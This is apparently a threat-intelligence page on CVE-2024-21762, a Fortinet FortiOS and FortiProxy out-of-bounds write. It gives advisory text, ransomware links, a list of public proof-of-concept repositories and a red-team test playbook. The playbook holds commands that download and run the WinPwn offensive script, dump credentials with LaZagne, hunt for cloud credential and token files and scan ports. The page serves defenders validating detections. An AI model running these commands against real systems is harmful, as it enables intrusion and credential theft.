CVE-2024-21762
Overview
This vulnerability is an out-of-bounds write affecting Fortinet FortiProxy and FortiOS software components. The root cause lies in improper bounds checking within memory operations handling specially crafted requests, leading to memory corruption. The flaw impacts multiple versions of FortiProxy and FortiOS, specifically in their request processing modules that fail to validate input size before writing to memory buffers.
Vulnerability Description
A out-of-bounds write in Fortinet FortiOS versions 7.4.0 through 7.4.2, 7.2.0 through 7.2.6, 7.0.0 through 7.0.13, 6.4.0 through 6.4.14, 6.2.0 through 6.2.15, 6.0.0 through 6.0.17, FortiProxy versions 7.4.0 through 7.4.2, 7.2.0 through 7.2.8, 7.0.0 through 7.0.14, 2.0.0 through 2.0.13, 1.2.0 through 1.2.13, 1.1.0 through 1.1.6, 1.0.0 through 1.0.7 allows attacker to execute unauthorized code or commands via specifically crafted requests
Impact
An unauthenticated attacker can exploit this vulnerability to execute arbitrary code or commands on affected FortiProxy or FortiOS devices. This grants full control over the system, enabling compromise of confidentiality, integrity, and availability of the network security infrastructure. The attacker requires no user interaction or valid credentials, making it feasible to achieve remote system takeover, disrupt services, or move laterally within the network environment.
Solution
Fortinet has released security updates addressing this vulnerability in FortiProxy and FortiOS versions beyond 7.4.2, 7.2.8, 7.0.14, and corresponding FortiOS releases up to 7.4.2. Administrators should apply the patches as detailed in Fortinet's advisory FG-IR-24-015, available at https://fortiguard.com/psirt/FG-IR-24-015. No specific workarounds are provided; timely deployment of vendor-supplied patches is essential to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerability in Fortinet's FortiOS and FortiProxy products is characterized by an out-of-bounds write condition that can be exploited by attackers to execute unauthorized code or commands. This type of vulnerability occurs when a program writes data outside the boundaries of allocated memory, potentially leading to memory corruption. In this case, the affected versions of FortiOS and FortiProxy span multiple releases, indicating a widespread issue that could affect numerous deployments. The out-of-bounds write can be triggered by specially crafted requests, which means that an attacker does not need to have physical access to the device; they can exploit this vulnerability remotely, making it particularly dangerous.
Attack vectors for this vulnerability are varied and can include both local and remote exploitation methods. An attacker could craft a malicious request that targets the vulnerable components of FortiOS or FortiProxy, potentially leading to arbitrary code execution. This could be achieved through various means, such as sending malformed packets or exploiting specific API endpoints that fail to properly validate input. Given the nature of the vulnerability, it is plausible that attackers could leverage it to gain administrative access to the affected systems, thereby compromising the integrity and confidentiality of the data they manage. Furthermore, the ability to execute unauthorized commands could allow attackers to pivot to other systems within the network, escalating their access and impact.
The real-world implications of this vulnerability are significant, particularly for organizations that rely on Fortinet's products for network security. The high CVSS score of 9.8 indicates a critical risk, suggesting that successful exploitation could lead to severe consequences, including data breaches, service disruptions, and financial losses. Businesses that fail to address this vulnerability may find themselves exposed to various threats, including ransomware attacks, data theft, and reputational damage. The potential for widespread exploitation means that organizations must prioritize patching and remediation efforts to safeguard their environments.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular vulnerability assessments and penetration testing can help identify systems that are running affected versions of FortiOS and FortiProxy. Additionally, organizations should monitor network traffic for unusual patterns that may indicate exploitation attempts, such as unexpected requests to API endpoints. Applying security patches released by Fortinet is crucial, as these updates are designed to address the underlying issues that allow the vulnerability to be exploited. Furthermore, organizations should consider implementing network segmentation and access controls to limit the potential impact of successful attacks.
In conclusion, the out-of-bounds write vulnerability in Fortinet's FortiOS and FortiProxy products presents a critical risk to organizations that utilize these systems. The potential for remote exploitation combined with the ability to execute arbitrary code makes it imperative for affected organizations to take immediate action. By employing robust detection methods, timely patch management, and proactive security measures, businesses can mitigate the risks associated with this vulnerability and protect their critical assets from potential exploitation.
Recent updates to the CVE-2024-21762 vulnerability reveal a slight downward adjustment in its CVSS score from 9.8 to 9.6, accompanied by a marginal decrease in the EPSS score. This recalibration reflects a modest reduction in the assessed exploitability and potential impact based on evolving telemetry and threat actor behavior. Despite this, the vulnerability remains classified as critical, underscoring its continued high risk to affected Fortinet FortiOS and FortiProxy deployments. CSURFACE threat intelligence has detected the presence of multiple publicly available proof-of-concept exploits, which maintain the vulnerability’s attractiveness to adversaries, including ransomware groups such as Akira and Mora_001. While the EPSS trend shows a slight decline, our sensors have not observed a significant reduction in exploitation attempts, indicating persistent interest from threat actors leveraging this flaw for unauthorized code execution. The inclusion of this vulnerability in the KEV list with a confirmed ransomware association further elevates its operational significance. Consequently, defenders should remain vigilant as the threat landscape continues to reflect active exploitation efforts, sustaining a critical threat level despite minor scoring adjustments.
Update 2 — June 08, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2024-21762, coinciding with the emergence of new publicly available proof-of-concept tools designed to scan and exploit vulnerable Fortinet FortiProxy and FortiOS instances. This development signals increased attacker confidence and operational capability to leverage the out-of-bounds write vulnerability for unauthorized code execution. While the EPSS score remains near peak levels, the uptick in telemetry activity underscores persistent and possibly expanding adversary interest, particularly among ransomware groups such as Akira and Mora_001, which continue to be linked to campaigns exploiting this flaw. The combination of heightened exploitation activity and accessible exploit code amplifies the threat landscape’s volatility, reinforcing the critical risk posture for organizations relying on affected Fortinet products. Defenders should interpret these trends as indicative of sustained and evolving threat actor engagement, warranting continued prioritization of detection and response efforts.
Update 3 — June 16, 2026
Recent updates to CVE-2024-21762 reveal a slight increase in its criticality, with the CVSS score adjusted upward to 9.8, reflecting a refined understanding of the vulnerability’s potential impact. Concurrently, the Exploit Prediction Scoring System (EPSS) score has decreased modestly, indicating a subtle reduction in the likelihood of widespread exploitation in the immediate term. Our telemetry continues to detect persistent availability of multiple proof-of-concept exploits on public repositories, which sustains adversary capability to weaponize this vulnerability. Notably, ransomware groups such as Akira and Mora_001 remain linked to campaigns leveraging this flaw, underscoring ongoing targeted exploitation efforts. The inclusion of this vulnerability in the Known Exploited Vulnerabilities (KEV) catalog with a defined due date for remediation further elevates its operational significance. Collectively, these developments suggest a nuanced threat landscape where exploitation risk remains critically high due to active adversary interest and accessible exploit tools, despite a slight downward trend in exploitation probability metrics. Defenders should interpret this as a continued imperative to monitor and prioritize detection of activity related to this vulnerability, as the combination of critical severity and ransomware associations sustains a heightened threat level.
Update 4 — July 06, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2024-21762, reflected by a significant uptick in telemetry activity. This surge coincides with the continued proliferation of publicly available proof-of-concept exploits, which have become increasingly accessible and varied in their implementation. The persistence of ransomware groups such as Akira and RansomHub in leveraging this vulnerability underscores its operational appeal for post-compromise activities. Although the EPSS score remains stable, the qualitative increase in observed exploitation attempts signals a heightened adversary focus that elevates the immediate risk to organizations running affected FortiProxy and FortiOS versions. Defenders should interpret this trend as an indicator of sustained and possibly expanding threat actor engagement, reinforcing the criticality of vigilant monitoring despite no current evidence of a broad-scale campaign surge.
Affected Products (10)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (11)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
h4x0r-dz/CVE-2024-21762
out-of-bounds write in Fortinet FortiOS CVE-2024-21762 vulnerability
|
h4x0r-dz | 150 | 25 | 2024-03-13 | View |
|
BishopFox/cve-2024-21762-check
Safely detect whether a FortiGate SSL VPN is vulnerable to CVE-2024-21762
|
BishopFox | 107 | 17 | 2024-02-28 | View |
|
r4p3c4/CVE-2024-21762-Exploit-PoC-Fortinet-SSL-VPN-Check
Chequea si tu firewall es vulnerable a CVE-2024-21762 (RCE sin autenticación)
|
r4p3c4 | 16 | 3 | 2024-03-13 | View |
|
d0rb/CVE-2024-21762
The PoC demonstrates the potential for remote code execution by exploiting the identified security flaw.
|
d0rb | 12 | 1 | 2024-03-17 | View |
|
abrewer251/CVE-2024-21762_FortiNet_PoC
Proof-of-concept scanner targeting CVE-2024-21762 in FortiOS SSL VPN’s /remote/hostcheck_validate endpoint with reverse ...
|
abrewer251 | 2 | 1 | 2025-05-22 | View |
|
CrackerCat/cve-2024-21762-poc
CVE-2024-21762 是 Fortinet 公司的 FortiOS 和 FortiProxy 产品中的一个严重漏洞,存在于其 SSL VPN 组件中。
|
CrackerCat | 0 | 2 | 2025-04-03 | View |
|
deFr0ggy/CVE-2024-21762-Checker
This script performs vulnerability scanning for CVE-2024-21762, a Fortinet SSL VPN remote code execution vulnerability. ...
|
deFr0ggy | 0 | 1 | 2024-10-24 | View |
|
rdoix/cve-2024-21762-checker
|
rdoix | 1 | 0 | 2024-06-20 | View |
|
Sxmpl3/CVE-2024-21762-Safe-Check
|
Sxmpl3 | 0 | 0 | 2026-06-24 | View |
|
0x13-ByteZer0/CVE-2024-21762
|
0x13-ByteZer0 | 0 | 0 | 2026-01-13 | View |
|
0x0asif/CVE-2024-21762
|
0x0asif | 0 | 0 | 2026-03-12 | View |
Threat Feed
17 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-21762 |
| fortiguard.com |
GitHub CVE
|
https://fortiguard.com/psirt/FG-IR-24-015 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-21762 |